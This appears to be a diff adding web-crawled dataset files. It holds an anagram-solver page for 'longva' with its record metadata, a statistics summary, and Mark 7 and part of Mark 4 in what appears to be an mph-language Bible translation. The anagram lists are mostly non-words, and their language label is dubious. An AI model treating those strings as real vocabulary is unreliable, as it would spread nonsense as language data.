+{"text":"Solution to anagram \"longva\"\nWords that can be formed from word \"longva\"\n3 letter words All 3 letter anagrams\n-al -ol a-a aaa aag aal aan aao aav ag- aga agg agl agn ago agv al- ala alg all aln alo alv an- ana ang anl ann ano anv aoa aog aol aon aoo aov av- ava avg avl avn avo gaa gag gal gan gao gav gga ggg ggn ggo ggv gla glg gll gln glo glv gna gnl gnn gno gnv goa gog gol gon goo gov gva gvg gvl gvn gvo la- laa lag lal lan lao lav lga lgg lgl lgn lgo lgv lla llg lll lln llo llv lna lng lnl lnn lno loa log lol lon loo lov lva lvg lvl lvn lvv naa nag nal nan nao nav nga ngg ngl ngn ngo nla nlg nll nln nlo nlv nna nng nnl nnn nno nnv no- noa nog nol non noo nov nva nvg nvl nvn nvv oaa oag oal oan oao oav oga ogg ogl ogn ogo ola olg oll oln olo on- ona ong onl onn ono oo- ooa oog ool oon ooo oov ov- ova ovl ovo ovv v-a vaa vag val van vao vav vga vgg vgl vgn vgo vl- vla vll vlo vlv vn- vna vng vnl vno vnv voa vog vol von voo vov vva vvg vvo vvv\n4 letter words All 4 letter anagrams\n-ana aaaa aaal aaan aaav aala aall aalo aana aang aaon aaoo aava ag-o agag agal agan agao agav agga agla agna agno agog agol agon agoo agva alaa alag alal alan alao alg- alga algo all- alla alll alln allo alna aloa alog alol alon aloo alov alva alvo ana- anaa anag anal anan anao ang- anga angl ango anla anln anlo anna anno ano- anoa anon aola aono aval avan avao avgo avon avva avvo gaal gaga gagg gago gala gall galo galv gana gang gann gano gaol gaon gava gggg glaa glan glog gnaa gnal gnav gnoo goal goan goga gogo gola goll golo gon- gona gong gonn gono goog gool goon gvvv laaa laag laal laan lag- laga lagg lago lala lall lalo lan- lana lang lann lano laon lava lavo lgov llan llao llll lloa lloo lnav lo-v loan log- loga logo lola loll lolo lona long lono lool loon lovo lvov naaa naag naal naan naga nagl nago nala nall nan- nana nang nann nano nava navo navv ngan ngao ngol ngon nlgn nngn nnnn noaa noal noga nogg nogo nola noll nolo non- nona nong nonn nono noo- nool noon nooo noov nov- nova novo nvla oall ogla ogna ognl ogoa ogog ogon olan olav olga olla ollo olog olon olov onal onan onga ongo onla onna onno onon ooaa oola oolo oona oooo oval ovan ovo- ovol ovon ovoo vaal vaan vag- vaga vagg vagn vala vall valn valo vana vang vann vano vava vlan vlog vnav voga vogl vola voll volo vona vonn voog vool vvog vvvv\n5 letter words All 5 letter anagrams\n-aaa- aalon agago agana agava aggag agglo aglal agnon agoal agogo agona agong agoon alala alana alang alano alaol alava algal algan algo- algoa algol allal allan allo- alloa allon alloo alnon aloan alona along aloon alvan anaga anago anala analo anana anang anava angla anglo angol angon anloo annal annan anola anona anono anoon anova anovo aonla aooga avago avala avana avang avlon avola avong g-log ga-ga gaago gaala gaana gagal gaggo gagna gagon gala- galaa galag galan galao galga galgo gall- galla gallo galon galva ganga ganna ganon gaona gaval gavan gavog glaga glaon glava gloag glogg glogn glonn gnago gnola gnoll go-go go-lo go-on go-oo goala goall goalo goava gogao gogga gogol gogon golag golan golla golog golol golva gonag gonal gonga gongo gonna gonnn gonno gono- goona goong govan la-la lagan lagna lago- lagoa lagon lalan lalla lalo- lalon lanao lang- langa lango lanna lano- lanov laoag laona lavaa laval lavan lavon llano loaga loano logan logna logo- logol logon lolan lolla lollo lolol lonan longa longg longl longo loola loona loong loval lovan lovoa lvovo na-ga naaga nagan nagla nagoa nagol nagov nalan nalla nallo nalva nanan nanao nanga nann- nanna nanno nano- nanoa nanog nanon nanov nanva naval navan navon ngago ngala ngana ngola ngong nnooo no-go no-no nogal nogna nolan nolva nona- nonan nonna nonno novo- novog o-lan ognon ogogo olala olana olang olavo olavv ollav ollon olona olovo olvan onaga onall onano onaol onaon onavo ongon onoon oonga ooola ooooo oovoo ovala ovolo vaala vaana vagaa vagal vagan vago- vagon valal valan valao valga valla vallo valon valov valva valvo vanan vanga vango vanna vanov vaona vavan vavla vo-ag vogal vogan vogon volag volga volla volna volno volog volon volva volvo vongo\n6 letter words All 6 letter anagrams\na-gang a-noon aangal aangan aangna aanval ag-gag agavva aglona agnano agnolo agnona agogna agonal al-ala alagna alagoa alango alanna alanno alanon algona allaga allana allano allona aloalo anaana anagoa analog angang anglo- angola angoon anloga anlong annala annona avalan avalon avanna avanon avolon gaanga gagaga gagana gaggan gaggon gagnoa gagnon galaga galago galala galang galgan galgon gallan gallo- gallon galnon galoon galvan galvao gangaa gangal gangan gangga gannan gannon ganong gaongo gavgol gavlan glagol glanon glogno goanna gogaga gogana gogaon goggan gogola gogona gollan golong golovo golvon gongan gongga gonogo googol googoo goolag laagna laalaa lag-na lagaan lagaao lagana laggan laggon lagoao lagona lagong lagoon lalala lalana lalang lallan lalola lalong lalova lanang langan langna langol langon lannon lanval laolao lavana lavang llanon loanga loango log-on loggan loglan lolong longan longon lonnol loogan looloo lovon naanal naanga naga-l nagana nagano nagaon naggon nagnag nalang nalon nalong nanana nanano nanava nangal nangan nangla nanglo nannan nanno- naogon navaga navala navona nganga ngonga ngongo nolana non-no nongan nongoa nonono nonoon nonova noonan noonoo oganov oglala ogongo olalla olgaon ollola onagga onagon onalog onanon ongang ongoal onloan oolala oolong oooooo vaagaa vaanla vagana vallal vallan vallon valona valval vanala vangal vangla vanglo vanlla vannal vanono vaovao volana volano volnov vologa volovo vvvvvv","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/findwords.info\/anagram\/longva","date":"2023-04-02T08:45:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950422.77\/warc\/CC-MAIN-20230402074255-20230402104255-00158.warc.gz","language":"mmx","language_score":0.4461622834,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.44616228342056274, \"mmo_Latn_score\": 0.2415534108877182, \"clu_Latn_score\": 0.033956218510866165, \"klv_Latn_score\": 0.026569021865725517, \"kpg_Latn_score\": 0.018520954996347427, \"adl_Latn_score\": 0.013628880493342876, \"njz_Latn_score\": 0.011704414151608944, \"lmo_Latn_score\": 0.0114295594394207, \"bvz_Latn_score\": 0.010938410647213459, \"hwc_Latn_score\": 0.010837255977094173, \"kpq_Latn_score\": 0.010004625655710697}","num_words":1009,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.439,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/mmx_Latn/fineweb-2_000001_stas.jsonl b/mmx_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a3807158685d1c184df54194cf5831a491e7763f --- /dev/null +++ b/mmx_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 851.3755274261604, + "character_repetition_ratio": 0.08341772151898733, + "word_repetition_ratio": 0.013278481012658227, + "special_characters_ratio": 0.21917721518987338, + "stopwords_ratio": 0.2559367088607595, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9391940928270042, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 624.8050415864219, + "character_repetition_ratio": 0.07563240117759512, + "word_repetition_ratio": 0.07609348071270873, + "special_characters_ratio": 0.012704455672424394, + "stopwords_ratio": 0.08478406552167449, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.1651811826070639, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 857.0, + "character_repetition_ratio": 0.064, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.217, + "stopwords_ratio": 0.272, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 5101.0, + "character_repetition_ratio": 0.609, + "word_repetition_ratio": 0.744, + "special_characters_ratio": 0.279, + "stopwords_ratio": 0.439, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 75.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.17, + "stopwords_ratio": 0.001, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.233, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 1475.0, + "character_repetition_ratio": 0.10900000000000003, + "word_repetition_ratio": 0.010800000000000011, + "special_characters_ratio": 0.232, + "stopwords_ratio": 0.32880000000000004, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 1115.0, + "character_repetition_ratio": 0.077, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.225, + "stopwords_ratio": 0.303, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 857.0, + "character_repetition_ratio": 0.064, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.217, + "stopwords_ratio": 0.272, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 363.0, + "character_repetition_ratio": 0.056, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.213, + "stopwords_ratio": 0.235, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "total size": "237", + "keep size": "207", + "remove size": "30" + } +] \ No newline at end of file diff --git a/mph_Latn/fineweb-2_000001_keep.jsonl b/mph_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..03dfb94e3e09d91eef3fd8994c10e5756ab4a3ec --- /dev/null +++ b/mph_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,4 @@ +{"text":"7\nGod marrik arrunnyuni ta wulatpiyi wu pata Pharisees\n(Matthew 15:1-9)\n1-4 Wakapa yara pata Jew arrarrkpi pata awukenang pu ta wulatpiyi awuntuwarnangajpuning Pharisees. Malany ta wularrut mira angputpangung parrparr ta wulatpiyi ta wenat wiyu wu pata arrarrkpi. Tukapa ta wulatpiyi marrik annyung tuka God nuyu ja jurra. Arakap muj tuka angpungulakantung ta wulatpiyi tuka wenat wiyu wu: Tuka marrik apulanyi wenatapa la apuwinypuning yurnu wu werrk warrwak la apulangung tuka wenat wiyu wu angpuyarruning. Kayirrk la arrarrkpi warrwak awarrangungka pata awulakpolorrkang yirrk kayirrk la apuwinypuning akutju ta yurnu wu. Wakapa awukenang ta wulatpiyi anyung akutju tuka awungurrinang wularrut mira, tuka iwuwinypuning ja kap, la panikin, la muj ja kapuwunyaka walij la muj mata katpani kal mata jaya warrwak la wenat awaning kal la apulangung ta walij. Tukapa ta wulatpiyi marrik anyung parak tuka God nuyu.\nYara pata Pharisees, la wera pata wulatpiyi awunpukikang, awuranka kapa Jerusalem iwayan ja Jesus la pata awarrangung rtil wiyu nuyu. Wenat awunpayawng pata Jesus awarrangung rtil wiyu nuyu marrik apuwinypuni ta yurnu wu tukapa ta wenat wu ta wungurlyak la walij apuwany\n5 la puka pata kawuken ta wulatpiyi iwuluntuny ja Jesus la aminy nuyu, \"Kurlingka puka pata nuyi kurrarra rtil marrik angkuwurru ta wulatpiyi tuka tuwarlkparrakanut pata awukenang pu awunpuyurtutpakpan wularrut mira? Pukapa pata nuyi kurrarra rtil wiyu nuwu apuwanyju la marrik wenat apuwinypuni ta yurnu apuwanyju la marrik angpuyarruni warak manjat. Kunuka nuyu wenat marrik apuwinypuni ta yurnu murnin tuka mulil wenatapa wularrut angpuyarruning parak la apulangung?\"\n6 Kayirrk la Jesus iminy parak wu, \"Nuwurripa amparrkamparrk kutpin mali awanamin nuwurri ta nuwutpalalut la kurrungpurrun kirrk, la nuwurripa marrik nuwutpalalut. Nuwurri kurriwurrun ja nuka ja ingurlaj Isaiah ja iwaning wularrut mira la animirrawung ta God nuyu ngaralk, yanat animirrawung ta wulatpiyi tuka manjat ta ngaralk nuwurru nuwurri. Yanatapa animirrawung tuka jurra,\n'Pukapa pata arrarrkpi kamartukpun ngartu tuka ngaralk wu la kiwuma lagarr\nla puka kangkuwurrun ta wenat wiyu wu.\n7 Malany wenat kangpatpi ta mulil ngartu,\nla wenatapa ta kangpatpiga nungmurrunti ngartu.\nWenat kawunpukiki ta wulatpiyi tuka arrarrkpi pata kangpungula ta wenat wiyu wu,\nla wenat kangpunma wu amparrkamparrk ta tukapa ta God nuyu ta wulatpiyi.'\n8 Kayirrkapa ta nuwurri wiyu nuwurru. Murnin nuwurri kutpilkpungeny nuyu God nuyu ta wulatpiyi la nuwurri kurrungatpi jir ta arrarrkpi kangpungula ta wulatpiyi wu.\"\n9 Kayirrk la wenat angkat Jesus inilakulangung pu, yanat iminy pu, \"Nuwurripa kutpilkpungen la kurrunjarrun parak la kurryun kirrwara tuka God nuyu ta wulatpiyi la kurrunjarrun parak tuka nuwurri wiyu nuwurru ta wulatpiyi.\n10 Tukapa kangmin parak: God iminy nuyu ja Moses, 'Anpanamin pu pata arrarrkpi awuntayatayan pata tuwarlkparrakanut.' La Moses animirrawung tuka ta wulatpiyi:\n'Nuwurri kutpamartukpun wu pata punyi la kamu.\nKapin nganti ja awunpannyarnama kamu la punyi, yanat akutju kurriwanawun iwamaju ja arrarrkpi!'\n11 Kurlingka nuwurri kurrungpurrun ja arrarrkpi kimin nuyu ja punyi la kamu 'Kapin ngapi atjirtiking nuwurri ta nuwutparlkparrakanut arrarrkpi la makiny, ngapi marrik kurrunu nuwurri ja kurrimiyarma nuwurri murnin ngapi ngiwarlkung ngiwanawn ja God.'\n12 Kurlingka nuwurri kurrungpurrun nungmalal ta marrik imi wu pata punyi la kamu tuka marrik awuyitiking la annyatping tuka yanat wiyu nuyu?\n13 Nungpakapa kangmin parak ta nuwurri kurrungpanama warak ta God nuyu ngaralk la wenat pata arrarrkpi angkayarrun nuwurru ta nuwurri nuwurru ta wulatpiyi. Nuwurripa kutpin tukapa akut la akut.\"\nPuka pata arrarrkpi tuka wanji wu kangkuwurrun ta nungmurrunti warak wakapa kawungurrin arlalng\n(Matthew 15:10-20)\n14 Kayirrk la Jesus ilajantiny pu pata arrarrkpi iminy pu, \"Kutpanalyu ngartu la kurrungpawurrun mira ta ngapi ngamin nuwurru.\n15 Yunyi kurrungpurrun mira ta kurrata ta walij tuka nuwutakpirij la kurrungpawurrun mira tuka kurrkinka parangju. Malany God iwanalyu ta aliwi kangmalkpa tuka nuwutakpirij yanat iwanamin nuwurru nuwurri aliwi kurrungatpi tuka nuwurrkijalk.\"\n17 Kayirrk la Jesus awunnyarutpan la yurlgeny wukej iwaning. Malany pata awarrangung rtil wiyu nuyu iwulakajpung aminy nuyu, \"Tuka ta ngaralk ta nuyi kannginka kiki kangmin parak?\"\n18-19 Kayirrk la Jesus iminy pu, \"Kurlingka nuwurri kalajarr marrik kurrungpurru mira? Kurralyunyi, kapin ta walij kurrata nakapa kawarra warak tuka wurak nuwurru malany ta warrwakapa la kapalkpa tuka awalijap ta kurrampalk ta kutja. Naka marrik awarray warak tuka walmukpuk. Malany ja God atjayanyjing ta walij la marrik imi nuwurru nuwurri ta nuwutpurrunti.\" (Tukapa ta Jesus iminy pu tuka wularrut angpuyarruning tuka yara ta walij marrik apulanyi la ta kayirrk tuka awk ta walij arrapanala yirrk murnin nungmalal yirrk.)\n20-23 La Jesus angkat awunnyukikang pata awarrangung rtil wiyu nuyu, yanat iminy, \"Arrarrkpi kangkuwurrun tuka wanji wu ta aliwi wenatapa kawungurrin arlalng - kayirrk la wenat kamajpungkin kangpuyarrun ta aliwi - la God kimin puka pata weliwiyut. Tukapa ta wenat awanamin parak:\nLa wenat angkawurru ta wenat wiyu wu ta aliwiyut.\nLa muj wenat kawarra warak kawu rtil pata wera.\nLa muj wenat kamangirrakan.\nLa wenat muj iwumiyarmang kapin pata wera arrarrkpi kiwetpi.\nLa wenat muj awuling wumpulaj.\nLa wenat muj marnti awuntuwu la amajung pata wera pata arrarrkpi.\nLa muj wenat awarray purup la ja jara wularrut iwurnyakpiny.\nLa muj wenat angpularrukuy nuyu pata arrarrkpi.\nLa muj wenat awuntuwu namarlaja pata wera pata arrarrkpi.\nLa muj wenat kamin mali wenat wiyu pata wingurlyak mira.\nLa wenat kangkuwurrun tuka wenat wiyu wu.\nLa wenat muj ami ta aliwi tuka kangmalkpaga wu tuka wanyji.\nLa muj wenat ami ta nungmurrunti aliwi.\nNungpakapa ta aliwiyut kangmalkpaga tuka kangkuwurrun tuka wanji wu. Ta karrungatpi nungmurrunti la God kimin puka pata arrarrkpi tumurrunjut.\"\nJesus inyayawng la yemin jita warramumpik jita inymartukpung nuyu\n(Matthew 15:21-28)\n24 Wakapa Jesus imajpungkiny awunnyarutpan pata awaning Galiliee ta kunak yuran imalkpany tuka kunak ta wungurlaj Tyre. Tukapa ta kunak tuka wanyji kurrula. Wakapa Jesus yuran yurlgeny tuka kurrampalk la iwaning palat wakapa tuka marrik nganti aniwurruni tuka yurlgeny la makiny. Pata arrarrkpi awalyungan ta yanat iwaning tuka kurrampalk la wenat awuranka amalkpany nuyu.\n25-26 La ninyarakap jita warramumpik inyjangaling. Malany marrik Jew jita warramumpik la inyanat ninypuran ta kunak wungurlaj Phoenecia wakapa ta Syria ngaw. La jita inyanat inyalkpany ngaw ingatpang ja yaliwi tuka ninyngijalk pularr. Malany wakapa inyarran parak tuka Jesus ilangaling, mawalkanyiny tuka yurnu nuyu. Wakapa inypurlkpungkang nuyu inyminy nuyu, \"Kokanyi yirrk ngaw ja yaliwi jita ngapi ngalkpany!\"\n27 Kayirrk la Jesus iminy ngaw, \"Ngapipa ta Jew ngatpuran. La ngapi ngawunpayatayan pata ngapi ngartu pata arrarrkpi werrk, la nuwurri marrik ta Jew arrarrkpi. Nungpakapa ngapi ngawunpanalikpi werrk pata warranyngiw ngartu. La marrik nungmalal ta ngapang warak ta wenat wu la ngartakay warak ta walij tuka luluj.\"\n28 Wakapa jita warramumpik inynginkan inyminy, \"Aralpa, nuyi ta Ngarrunukiki. Pata luluj kawulangali wilik tuka kamalangali palapala kapula awalinyjinyut ta walij. Tuka katja yurrjurr warranyngiw kapatpi wirijpirij. Ngapi marrik Jew parangapa la ngungpurrun nungmalal ta arrkpayirtiki.\"\n29 Wakapa Jesus iminy ngaw, \"Nungpakapa nungmalal anminyka ngartu. La nuyipa kayirrk kanmartukpun ngartu. Kayirrkapa nuyi anpanuraka kunak. La ngapi nginyngulakantiny la ja yaliwi inyarutpan jita nuyi anngalkpany ngaw.\"\n30 Wakapa jita nigi inyurakan tuka kunak inyngayawng jita inyalkpany ngaw inyung angkat tuka palapala la ja yaliwi inyarutpan.\nJesus iningulikiny ja inimany kalajarr\n31 Kayirrk la Jesus annyarutpan ta wungurlaj Tyre la yarran parak imalkpany ta wungurlaj Sidon, la yanat yarran parak inimarrawulngan aril tuka wurl ngaw Galilee yarran parak ta kunak wungurlaj 'Wurrkamaj Yurnu la Wurrkamaj Yurnu Kunak'.\n32 La wera pata arrarrkpi iwumanyka ja arrarrkpi nuyu Jesus. Nuka ja arrarrkpi ja inimany kalajarr la marrik inginkanyi mira. La pata arrarrkpi pata jawirna nuyu nakapa wenat iwulakajpung Jesus aminy nuyu, \"Kawutpanyi ta yurnu tuka ngarri jawirna ngarru la kuwangulakan la iwangulikin.\"\n33 Kayirrk la Jesus inimany parak nakapa ja arrarrkpi awarran parak la awunparutpan pata arrarrkpi la wakapa atjutpan ta yurnu nuyu tuka arrarrkpi larnngalk nuyu. Kayirrk la Jesus iminy juk tuka yurnu nuyu la anyatpung ta ngaralk nuyu ja arrarrkpi.\n34 Wakapa Jesus yukeny yurrng tuka kuynu la ilingan iwarruj nuyu ja arrarrkpi. Yanat iminy, \"Ephphatha!\" tuka kangmin parak, \"Anmatpalanti!\"\n35 La wakapa tuka iminy parak manjat ja arrarrkpi yalyungan la inginkan ta ngaralk martapapa mira.\n36 Kayirrk la Jesus imurnanganiny parak iminy pu, \"Yunyi kurrungunma wu tuka kiki ngaminy.\" La wenat marrik awalyunyi nuyu ja Jesus. Angkat iminang pu, \"Kutakujpina!\" la angkat wenat aminang pu pata arrarrkpi, \"Ja Jesus iningulikiny ja arrarrkpi.\"\n37 Amparrkamparrk awurlkpalangkeny la aminy pu la wemin, \"Jesus iminy kirrk tuka manjat mira. Yanat kawuningulakan pata kalajarr la pata marrik awunginkay ngaralk - yanat kawuningulakan pa nuyu awanginka.\"","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/harmony.cx\/study\/content\/texts\/mph\/MK7.html","date":"2023-02-06T11:56:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500339.37\/warc\/CC-MAIN-20230206113934-20230206143934-00352.warc.gz","language":"mph","language_score":0.9999938011,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mph_Latn_score\": 0.9999938011169434}","num_words":1323,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.483,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nJesus annyunmangung pu ja arrarrkpi innyakangung wanpirlk\n(Matthew 13:1-9; Luke 8:4-8)\n1 Malany Jesus yarran parak tuka wurl inimany rtalk awunnyukikang. La wakapa pata napulurrumpi pata arrarrkpi iwuwulngan aril awanalyu nuyu. Malany wimurra pata arrarrkpi la Jesus yarran parak ilatingan tuka kapala la yuran ap. Wakapa iwulirrngkantiny parak awuran ap tuka wawurri pata awaning awalyung nuyu la ininyang monmon wu.\n2 Wakapa yanat annyunmangung pu la awunnyukikang wugarra tuka iminang pu.\nKayirrk la Jesus annyunmangung pu, yanat iminy,\n3 \"Nuwurripa kurralyunyi ngartu. Nuka ja arrarrkpi atimiyarmany apaniyurlka wanpirlk\n4 Malany ta innyakakan tuka kunak yara yuran yurrjurr tuka alan. Malany awuranka karlurri iwuwany kirrk ja wanpirlk.\n5-6 La yarrangung juju ja arrarrkpi innyakangung akutju la yara yangkung yurrjurr tuka waryatparyat tuka kunak anyung anyak la wakapa waryatparyat anyung. Malany apalkpanyka ta aparligaj murnin marrik annyunyi wumurra ta kunak la anyung wumurra ta waryat. Malany inyakatakan imurranyminy ja wanpirlk kayirrk la ta inymajpungkinyka jita muwarn apelkpiny ta aparligaj la apajungan murnin mata mamarligaj marrik angena ta kunak awarranyi warak wukej. Malany ta apalkpanyka ta aparligaj apelkpiny.\n7 La nukapa ja arrarrkpi yarrangung akutju la innyakangung yara ja wanpirlk la yangkung yurrjurr tuka wikulk ilangaling. Malany ta apalkpanyka ta aparligaj la atiwutikiny nakapa wikurl pa marrik muj apalkpanyi ta wun ngaw.\n8 La yara ja wanpirlk innyakangung naka yangkung yurrjurr tuka nungmalal ta kunak tuka apalkpanyka ta aparligaj la apurranyminyka la akatpang apurra ta wun ngaw yara 30 la yara 60 la yara ngarrkarrk kurlajuk.\n9 Kayirrk la Jesus iminy, \"Kurralyunyi nuwurri kutpatpi larlngalk kurrungpawurrun ta ngapi ngamin nuwurru.\"\nJesus awunpaniwilkpun pata kawalyu nuyu la pata marrik awalyung nuyu\n(Matthew 13:10-17; Luke 8:9-10)\n10 Malany Jesus awunnyarutpan pata napularrumpi iwaning. Malany yanatapa la pata 12 wingurlyakut pata awarrangung rtil wiyu nuyu la wera pata arrarrkpi awaning rtil. La iwulakajpung aminy nuyu, \"Kulakulanyi mira ngarru tuka kungunmangung ngarru.\"\n11 La Jesus iminy pu, \"Nuwurri ta karrara rtil, nuka ja God kanimiyarma ta nuwurri kurrungpawurrun mira ta ngapi ngilakuliny nuwurru. Tukapa ta kannyunma ja God ja Kiwken ngarrurru amparrkamparrk. La wera arrarrkpi pata marrik muj ngapi nganpuyarru, wenatapa marrik angkumang la awalyung. Kayirrkapa marrik ngungunmay wu ta kanyu ta wulatpiyi.\n12 Wakapa ngamin murnin kanyu warak ta wulatpiyi tuka God nuyu ja jurra kanyunmaga ta aralpa mira:\nNungpakapa awanuken pata arrarrkpi. Angkayan\nla marrik angkumiyarmang angkuwurru ta ngapi ngamin pu.\nKapin ta awanalyu ta ngapi ngamin pu\nnaka marrik muj angkumiyarmang angkumang mira ta wulatpiyi nuyu God.\nLa kapin ta awalyung, angkuwurru mira ta ngapi ngamin pu la amilkpunge nuyu God,\nnakapa yanat annyakay wu ta aliwi awk kamin. Parangapa la marrik angkumiyarmang angkuwurru ta nungpakapa.\nKayirrk la Jesus annyunmangung pu tukapa kunak la wanpirlk\n(Matthew 13:18-23; Luke 8:11-15)\n13 Kayirrk la Jesus angkat ininnyang monmon pu. La yanat iminy, \"Kurlingka marrik kurrungpurru mira ta ngungunmangung nuwurru? La ta marrik kurrungpurru mira nakapa nuwurri marrik kurrungpurru ta ngiwalakula nuwurru ta kayirrk.\n14 La tuka ngungunman nuwurru, arrarrkpi ja innyakangung wanpirlk atiyurjiny ta walij. La tukapa kapin ja arrarrkpi kanyunma tuka God nuyu ta wurluj pa awanalyu pata arrarrkpi.\n15 Malany tukapa ta ngungunman, ja wanpirlk yuran yurrjurr tuka alan, la ta kunak nakapa arnangkat, malany wakapa ja wanpirlk yung yurrng. Malany marrik muj mamalkpanyi mata mamarligaj mata wurrwurr. La kapin nukapa ja wanpirlk kannyunmaga ta God nuyu wulatpiyi. La wera pata arrarrkpi marrik awalyung nuyu God. Malany nungpakapa kangpuyarrun ta arnangakat ta alan. La puka pata karlurri kapin yaliwi ja karriwarnangajpun Satan. La yanatapa kiw ngilikilik wu wakapa wenat kawarra pularlngalk ta ngaralk nuyu ja God.\n16 Tukapa ngungunmangung nuwurru ta kunak nakapa waryatparyat kirrk. Malany kapin arrarrkpi pata kamin marrmarr kawalyu nuyu God wulatpiyi la wenatapa kamartukpun kirrk nuyu.\n17 La muj puka pata arrarrkpi kamartukpun ta wulatpiyi nuyu la wera kangpungula wu lirri. Wakapa wenatapa kiwuwun larr marrik muj awalyung ta wulatpiyi. Wakapa wenat kamilkpungen kiwun kirrwara la kangkumarrajpun parak kangparutpa God nuyu ta wulatpiyi.\n18 Tuka ngungunmangung nuwurru ja arrarrkpi innyakangung ja wanpirlk tuka wikurl mata angawuning rtal wakapa marrik apalkpanyi la apurranymina. Kapin pukapa pata arrarrkpi pata kawalyu nuyu God ta ngaralk,\n19 kayirrk la wenat wiyu kanima put wu ja yaliwi. Malany wakapa wenat kangkuwurrun wumurra mira ta wenat wiyu wu akutju. La wenat muj kiwuwurrun rrupiya ja kawunyaka-arlarlng. La wenat kiwumiyarma akut ja jara ta wu wiyu wakapa kiwuwurrun marr. La muj kangkuwurrun parak ta wenat wiyu wu wakapa kanima put wu ta God nuyu ta ngaralk, la nungpakapa puka pata arrarrkpi marrik iwarnartpikping mira ja God.\n20 Tuka ngungunmangung, ja wanpirlk ja yuran yurrjurr tuka nungmalal ta kunak imurranyminyka nungmalal, la mata mamaligaj mamurranyminy karrkpin la mangatpang wanpirlk mata wurrwurr. Tukapa kanyunmaga pata arrarrkpi wularrut kawalyu nuyu God ngaralk tuka yanat kiminka ngarrurru. La puka pata arrarrkpi kapin mata mamarligaj mata mamurranyminy mangatpang mamurra mata warnpirlk.\"\nGod nuyu mata kangayirran marrik arrkawurlunyjay\n(Luke 8:16-18)\n21-22 Jesus iminy pu, \"Kapin nganti yirrik ja manimangka mata kangayirran naka marrik mannyutpay tuka panikin arta? La muj marrik mannyutpay wukej tuka palapala arta? Kapin atputpay yurrng angpayirran yalayala pa arrungayanjing. Tukapa kangmin ta God nuyu ta ngaralk. Yara marrik kurrungpurru akutju la God kutpayirtiki rtil nuyu kurrungpawurrun. La yara kangparlunjin marrik kurrungpurru la God kutpayitiki rtil la kurrungpawurrun akutju.\n23 Nuwurri kutpatpi larnngalk tuka kurralyu ngartu la kurrungpanama ngartu ngaralk.\"\n24-25 La muj Jesus iminy pu, \"Kutpanalyu mira ngartu la kurrungpawurrun tuka kurralyungan. Kapin ta kurralyungan ta wurluj nakapa God kutpayirtiki kurrungpawurrun mira tuka yanat parak la kutpayirtiki tuka kurrungpawurrun mira tuka yanat nuyu ta wulatpiyi. Kapin ta marrik kurrungmang mira ta wurluj tuka ngamin nuwurru nakapa God marrik kutjirtiking kurrungpurru mira.\"\nGod nuyu arrarrkpi kapin warnpilk kamamurranymin.\n26-29 La muj Jesus awunnyukikang la iminy pu, \"Ngapi ngungmiyarma ngungpanunma nuwurru tuka nuwutpurra kutpanurlgenka nuyu ja arrunimalkpany God. La kayirrk ngungpanunma nuwurru ja arrarrkpi animiyarmany atiyurjiny wanpirlk ta walij pa innyakakangung ja wanpirlk tuka kunak. Yara yuran yurrjurr tuka kunak kayirrk la yarran parak la innyarutpan ja wanpirlk. Kayirrk la apalkpanyka ta aparligaj atjanat piyu ja arrarrkpi marrik aniwurruni ta kunuka atingulangung apurranyminang la nakapa God atingulangung apurranyminang. Mata wanpirlk ta walij nakapa apurranyminy aparligaj werrk awarntulyakpiny kayirrk la apalkpanyka wun ngaw. Malany awurrurtpiny kirrk pa awuranka pata arrarrkpi apulalkuny ta aparligaj la apumany ta wun ngaw. God ja kiwken ngarrurru la arrarrkpi pata kamartukpun nuyu nakapa awanurlgenka nuyu wigarra yirrk kapin ja wanpirlk tuka kayirrk ngungunmangung nuwurru.\"\nKiki angmi warak ta awungalmega pata God nuyu arrarrkpi?\n(Matthew 13:31-32,34; Luke 13:18-19)\n30 Kayirrk la Jesus iminy pu, \"Ngapi ngungpurruning tora ta ngungpanunma nuwurru tuka kurrungpawurrun mira tuka arrarrkpi pata arrunimalkpany God nuyu.\n31 La kayirrk parak God nuyu arrarrkpi kapin wanpirlk ja ilijap. La kurrungpurrun mata walurru ja wanpirlk ilijap mira arta?\n32 